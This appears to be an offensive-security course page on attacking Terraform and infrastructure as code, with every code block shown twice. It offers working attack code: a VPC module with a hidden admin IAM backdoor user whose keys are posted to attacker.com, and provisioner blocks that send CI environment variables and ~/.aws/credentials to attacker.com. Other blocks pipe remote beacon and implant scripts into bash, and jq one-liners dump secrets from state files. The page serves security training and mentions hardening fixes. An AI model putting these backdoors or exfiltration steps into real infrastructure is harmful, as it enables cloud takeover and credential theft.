🔥 Advanced
IaC & Terraform Attacks
Infrastructure as Code defines entire cloud environments. State files contain secrets, provider configs enable privilege escalation, and malicious modules can backdoor everything.
State File = Crown Jewels
Terraform state files contain ALL secrets in plaintext - database passwords, API keys, private keys. A leaked state file is a complete environment compromise.
IaC Attack Surface
📁 State Files
- • Plaintext secrets
- • Resource IDs & ARNs
- • Network configurations
- • Often in S3/Azure Blob (misconfigured)
📦 Modules
- • Supply chain via module sources
- • Typosquatting on registries
- • Backdoored community modules
🔑 Provider Configs
- • Hardcoded credentials
- • Overprivileged IAM roles
- • Assume role chains
🔄 CI/CD Integration
- • Plan output shows secrets
- • Apply runs with cloud admin
- • PR-based plan poisoning
State File Exploitation
bash
# State files contain ALL sensitive data in plaintext!
# 1. Find state files
# Local
find . -name "*.tfstate" -o -name "*.tfstate.backup"
# S3 (common misconfiguration: public bucket)
aws s3 ls s3://company-terraform-state/
aws s3 cp s3://company-terraform-state/prod/terraform.tfstate .
# Azure Storage (check for public access)
az storage blob list --container-name tfstate --account-name companytfstate
# 2. Extract secrets from state
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes.password'
# Common secret locations in state:
# - aws_db_instance: password
# - aws_iam_access_key: secret
# - tls_private_key: private_key_pem
# - random_password: result
# - aws_secretsmanager_secret_version: secret_string
# Dump all sensitive attributes
cat terraform.tfstate | jq -r '.. | .password?, .secret?, .private_key?, .secret_string? | select(. != null)'# State files contain ALL sensitive data in plaintext!
# 1. Find state files
# Local
find . -name "*.tfstate" -o -name "*.tfstate.backup"
# S3 (common misconfiguration: public bucket)
aws s3 ls s3://company-terraform-state/
aws s3 cp s3://company-terraform-state/prod/terraform.tfstate .
# Azure Storage (check for public access)
az storage blob list --container-name tfstate --account-name companytfstate
# 2. Extract secrets from state
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes.password'
# Common secret locations in state:
# - aws_db_instance: password
# - aws_iam_access_key: secret
# - tls_private_key: private_key_pem
# - random_password: result
# - aws_secretsmanager_secret_version: secret_string
# Dump all sensitive attributes
cat terraform.tfstate | jq -r '.. | .password?, .secret?, .private_key?, .secret_string? | select(. != null)'State Backend Attacks
bash
# Terraform backends often misconfigured
# S3 Backend - Check for:
# 1. Public bucket
aws s3 ls s3://company-terraform --no-sign-request
# 2. Bucket allows unauthenticated writes (rare but devastating)
aws s3 cp malicious.tfstate s3://company-terraform/prod/terraform.tfstate
# 3. Overly permissive IAM policies
# If you have ANY AWS access, check if you can read state bucket
# Azure Backend
# Check storage account network rules
az storage account show -n companytfstate --query networkRuleSet
# Terraform Cloud / Enterprise
# Leaked API tokens give full access
curl -H "Authorization: Bearer TF_TOKEN" \
https://app.terraform.io/api/v2/organizations
# List workspaces
curl -H "Authorization: Bearer TF_TOKEN" \
"https://app.terraform.io/api/v2/organizations/ORG/workspaces"
# Download state
curl -H "Authorization: Bearer TF_TOKEN" \
"https://app.terraform.io/api/v2/workspaces/WS_ID/current-state-version" | \
jq -r '.data.attributes["hosted-state-download-url"]'# Terraform backends often misconfigured
# S3 Backend - Check for:
# 1. Public bucket
aws s3 ls s3://company-terraform --no-sign-request
# 2. Bucket allows unauthenticated writes (rare but devastating)
aws s3 cp malicious.tfstate s3://company-terraform/prod/terraform.tfstate
# 3. Overly permissive IAM policies
# If you have ANY AWS access, check if you can read state bucket
# Azure Backend
# Check storage account network rules
az storage account show -n companytfstate --query networkRuleSet
# Terraform Cloud / Enterprise
# Leaked API tokens give full access
curl -H "Authorization: Bearer TF_TOKEN" \
https://app.terraform.io/api/v2/organizations
# List workspaces
curl -H "Authorization: Bearer TF_TOKEN" \
"https://app.terraform.io/api/v2/organizations/ORG/workspaces"
# Download state
curl -H "Authorization: Bearer TF_TOKEN" \
"https://app.terraform.io/api/v2/workspaces/WS_ID/current-state-version" | \
jq -r '.data.attributes["hosted-state-download-url"]'Malicious Module Injection
Supply Chain Attack
Terraform modules are like npm packages - if you can poison the source, everyone who uses the module gets compromised.
bash
# Malicious module that creates a backdoor IAM user
# modules/vpc/main.tf (looks like normal VPC module)
resource "aws_vpc" "main" {
cidr_block = var.cidr_block
# ... normal VPC config
}
# Hidden backdoor - creates attacker access
resource "aws_iam_user" "backdoor" {
name = "terraform-state-manager" # Looks legitimate
tags = {
ManagedBy = "Terraform"
}
}
resource "aws_iam_user_policy_attachment" "backdoor" {
user = aws_iam_user.backdoor.name
policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}
resource "aws_iam_access_key" "backdoor" {
user = aws_iam_user.backdoor.name
}
# Exfil the keys during apply
resource "null_resource" "exfil" {
provisioner "local-exec" {
command = "curl -X POST -d 'key=${aws_iam_access_key.backdoor.id}&secret=${aws_iam_access_key.backdoor.secret}' https://attacker.com/collect"
}
}# Malicious module that creates a backdoor IAM user
# modules/vpc/main.tf (looks like normal VPC module)
resource "aws_vpc" "main" {
cidr_block = var.cidr_block
# ... normal VPC config
}
# Hidden backdoor - creates attacker access
resource "aws_iam_user" "backdoor" {
name = "terraform-state-manager" # Looks legitimate
tags = {
ManagedBy = "Terraform"
}
}
resource "aws_iam_user_policy_attachment" "backdoor" {
user = aws_iam_user.backdoor.name
policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}
resource "aws_iam_access_key" "backdoor" {
user = aws_iam_user.backdoor.name
}
# Exfil the keys during apply
resource "null_resource" "exfil" {
provisioner "local-exec" {
command = "curl -X POST -d 'key=${aws_iam_access_key.backdoor.id}&secret=${aws_iam_access_key.backdoor.secret}' https://attacker.com/collect"
}
}Provisioner Abuse
bash
# Provisioners run commands during apply
# local-exec runs on the Terraform runner (CI/CD agent!)
# remote-exec runs on provisioned resources
# Backdoor via local-exec (runs on CI runner)
resource "null_resource" "backdoor" {
provisioner "local-exec" {
command = <<EOT
# Exfil CI/CD secrets
env | curl -X POST -d @- https://attacker.com/env
# Establish persistence
curl https://attacker.com/beacon.sh | bash
# Steal cloud credentials from CI runner
cat ~/.aws/credentials | curl -X POST -d @- https://attacker.com/aws
EOT
}
}
# Remote-exec on newly created instance
resource "aws_instance" "web" {
# ... instance config
provisioner "remote-exec" {
inline = [
"curl https://attacker.com/implant.sh | sudo bash",
]
connection {
type = "ssh"
user = "ubuntu"
private_key = tls_private_key.ssh.private_key_pem
host = self.public_ip
}
}
}# Provisioners run commands during apply
# local-exec runs on the Terraform runner (CI/CD agent!)
# remote-exec runs on provisioned resources
# Backdoor via local-exec (runs on CI runner)
resource "null_resource" "backdoor" {
provisioner "local-exec" {
command = <<EOT
# Exfil CI/CD secrets
env | curl -X POST -d @- https://attacker.com/env
# Establish persistence
curl https://attacker.com/beacon.sh | bash
# Steal cloud credentials from CI runner
cat ~/.aws/credentials | curl -X POST -d @- https://attacker.com/aws
EOT
}
}
# Remote-exec on newly created instance
resource "aws_instance" "web" {
# ... instance config
provisioner "remote-exec" {
inline = [
"curl https://attacker.com/implant.sh | sudo bash",
]
connection {
type = "ssh"
user = "ubuntu"
private_key = tls_private_key.ssh.private_key_pem
host = self.public_ip
}
}
}Plan Output Secrets
bash
# terraform plan can leak secrets in CI logs!
# Even with sensitive = true, plan shows:
# - Resource changes that include secrets
# - Data source outputs
# - Module outputs
# Force plan to show all secrets (for extraction)
terraform plan -json | jq '.resource_changes[] | select(.change.after.password != null)'
# In CI/CD, check plan artifacts or logs for:
# + password = "SuperSecretPassword123!"
# + secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
# Targeted extraction from plan
terraform plan -out=plan.bin
terraform show -json plan.bin | jq '.planned_values.root_module.resources[] | {type, values}'# terraform plan can leak secrets in CI logs!
# Even with sensitive = true, plan shows:
# - Resource changes that include secrets
# - Data source outputs
# - Module outputs
# Force plan to show all secrets (for extraction)
terraform plan -json | jq '.resource_changes[] | select(.change.after.password != null)'
# In CI/CD, check plan artifacts or logs for:
# + password = "SuperSecretPassword123!"
# + secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
# Targeted extraction from plan
terraform plan -out=plan.bin
terraform show -json plan.bin | jq '.planned_values.root_module.resources[] | {type, values}'Provider Credential Theft
bash
# Providers often configured with hardcoded or env-based creds
# Check for hardcoded creds in .tf files
grep -r "access_key|secret_key|password|token" *.tf
# Environment variables set during CI/CD
# If you can inject into the pipeline:
env | grep -i "AWS|AZURE|GOOGLE|TF_VAR"
# AWS provider credential chain:
# 1. Inline in provider block (worst practice)
# 2. Environment variables (AWS_ACCESS_KEY_ID)
# 3. Shared credentials file (~/.aws/credentials)
# 4. IAM role (instance profile / OIDC)
# Steal credentials from provider config
terraform providers -json | jq '.provider_configs'
# If using assume_role, you might be able to assume it too:
# provider "aws" {
# assume_role {
# role_arn = "arn:aws:iam::123456789:role/TerraformAdmin"
# }
# }
# If you have any AWS creds in the account, try assuming this role# Providers often configured with hardcoded or env-based creds
# Check for hardcoded creds in .tf files
grep -r "access_key|secret_key|password|token" *.tf
# Environment variables set during CI/CD
# If you can inject into the pipeline:
env | grep -i "AWS|AZURE|GOOGLE|TF_VAR"
# AWS provider credential chain:
# 1. Inline in provider block (worst practice)
# 2. Environment variables (AWS_ACCESS_KEY_ID)
# 3. Shared credentials file (~/.aws/credentials)
# 4. IAM role (instance profile / OIDC)
# Steal credentials from provider config
terraform providers -json | jq '.provider_configs'
# If using assume_role, you might be able to assume it too:
# provider "aws" {
# assume_role {
# role_arn = "arn:aws:iam::123456789:role/TerraformAdmin"
# }
# }
# If you have any AWS creds in the account, try assuming this roleEnumeration
bash
# Find Terraform files
find . -name "*.tf" -o -name "*.tfvars" -o -name "*.tfstate"
# Check for sensitive data in tfvars
cat *.tfvars terraform.tfvars
# Find backend configuration
grep -r "backend" *.tf
grep -A10 'backend "s3"' *.tf
grep -A10 'backend "azurerm"' *.tf
# Find module sources (potential supply chain)
grep -r "sources*=" *.tf | grep -v ".terraform"
# Check for hardcoded secrets
grep -r "password|secret|key|token" *.tf *.tfvars
# Terraform Cloud/Enterprise tokens
cat ~/.terraform.d/credentials.tfrc.json
echo $TF_TOKEN
# State file locations
cat backend.tf # Check remote state config
ls -la .terraform/ # Local state cache# Find Terraform files
find . -name "*.tf" -o -name "*.tfvars" -o -name "*.tfstate"
# Check for sensitive data in tfvars
cat *.tfvars terraform.tfvars
# Find backend configuration
grep -r "backend" *.tf
grep -A10 'backend "s3"' *.tf
grep -A10 'backend "azurerm"' *.tf
# Find module sources (potential supply chain)
grep -r "sources*=" *.tf | grep -v ".terraform"
# Check for hardcoded secrets
grep -r "password|secret|key|token" *.tf *.tfvars
# Terraform Cloud/Enterprise tokens
cat ~/.terraform.d/credentials.tfrc.json
echo $TF_TOKEN
# State file locations
cat backend.tf # Check remote state config
ls -la .terraform/ # Local state cacheTools
Terraform State File Attack Flow
flowchart TD
A["🔍 Discover State Backend\nS3 Bucket / Azure Blob\nHTTP / Local File"] --> BAccess Granted?
B -->|"✅ Misconfigured ACL"| C["📄 Read State File\ntfstate JSON"]
B -->|"❌ Denied"| D["🔑 Try SSRF / IMDS\nMetadata Service"]
D --> C
C --> E["💰 Extract Secrets\nDB Passwords\nAPI Keys\nPrivate Keys"]
E --> F["🏃 Lateral Movement\nRDS / Cloud APIs\nInternal Services"]
C --> G["📝 State Manipulation\nModify Resources\nInject Backdoors"]
G --> H["🚀 terraform apply\nDeploy Malicious Infra"]
style A fill:#ede9fe,stroke:#7c3aed
style C fill:#fef3c7,stroke:#d97706
style E fill:#fee2e2,stroke:#dc2626
style H fill:#fee2e2,stroke:#dc2626
Real-World: Exposed Terraform State in S3
Numerous organizations have been breached through publicly accessible S3 buckets containing Terraform state files. State files store all resource attributes in plaintext, including database passwords, API keys, and TLS certificates. In 2023, researchers found thousands of exposed state files via simple S3 enumeration.
🎯
IaC & Terraform Attack Labs
Practice Terraform state exploitation and IaC security hardening.
🔧
Terraform State File Extraction Custom Lab medium
Deploy a Terraform project with state stored in an S3 bucketMisconfigure the bucket ACL to simulate a real-world exposureDownload the tfstate file and extract plaintext credentialsUse extracted database credentials to access an RDS instanceFix: Enable S3 encryption, bucket policy, and state locking with DynamoDB
🔧
Malicious Terraform Provider Custom Lab hard
Create a custom Terraform provider that executes arbitrary commandsHost it on a registry and reference it in a shared moduleterraform init downloads and trusts the providerDemonstrate code execution during plan and apply phasesImplement provider signing verification and .terraformrc allow lists
📋 Framework Alignment
OWASP CI/CD: CICD-SEC-7 (Insecure System Configuration), CICD-SEC-6 (Insufficient Credential Hygiene) | MITRE ATT&CK: T1552.001 (Credentials In Files), T1580 (Cloud Infrastructure Discovery) | CIS Controls: 4.1 (Secure Configuration), 16.1 (Software Development Process)